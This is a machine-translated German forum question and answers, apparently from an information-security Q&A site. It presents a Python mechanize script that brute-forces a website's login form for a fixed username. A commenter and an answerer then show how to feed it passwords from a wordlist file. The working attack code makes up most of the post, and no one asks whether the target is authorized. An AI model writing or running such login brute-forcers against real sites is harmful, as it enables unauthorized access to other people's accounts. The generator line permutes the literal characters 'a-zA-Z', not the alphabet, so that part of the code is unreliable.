2016-06-21 4 views
-1

Also, ich habe dieses Python-Skript unten. Was es tut, ist es im Grunde Bruteforces ein Web-Formular (Login) mit iertools. Es tut, was ich will, ich muss es perfekt funktionieren usw., aber ich würde gerne fragen, ob jemand den Bruteforce/Dictionary-Generierungsprozess durch eine load-passwords-from-wordlist.txt-Funktion ersetzen könnte. Wenn jemand das tun könnte, wäre das großartig, denn ich habe keinen Weg gefunden, dies zu tun.Hilfe - Web-Form Bruteforcing mit Python

Vielen Dank im Voraus!

Mein Code:

#!/usr/bin/python 
import mechanize 
import itertools 

br = mechanize.Browser() 
br.set_handle_equiv(True) 
br.set_handle_redirect(True) 
br.set_handle_referer(True) 
br.set_handle_robots(False) 

combos = itertools.permutations("a-zA-Z",5) 
r = br.open("http://example.com/login") 

for x in combos: 
    br.select_form(nr = 0) 
    br.form['username'] = "my_username_123" 
    br.form['password'] = ''.join(x) 
    print "Checking ",br.form['password'] 
    response = br.submit() 
    if response.geturl()!="http://example.com/login": 
     print "Correct password is ",''.join(x) 
     break 
+2

Hallo und willkommen auf Informationssicherheit! Für mich klingt das eher nach einer Frage zum Programmieren (Lesen von Dateien mit Python) als nach Sicherheit. Sie könnten bei Stack Overflow fragen, aber ich vermute, sie würden erwarten, dass Sie Ihren eigenen Versuch machen, bevor Sie fragen. – Anders

+1

Ersetzen Sie "combos = itertools ..." durch "combos = open ('wordlist.txt')" – paj28

Antwort

1

So etwas hinzugefügt werden könnte, so dass, wenn eine Passwortdatei in den Befehlszeilenargumenten vorhanden ist, dass anstelle der vordefinierten Liste verwenden.

Beispiel: Python script.py password.txt

import sys 
import os 

if len(sys.argv) > 1: 
    if os.path.exists(sys.argv[1]): 
     combos = [line.strip() for line in open(sys.argv[1])] 
    else: 
     print "[-] File not found" 
     sys.exit(0) 
else: 
     combos = itertools.permutations("a-zA-Z",5)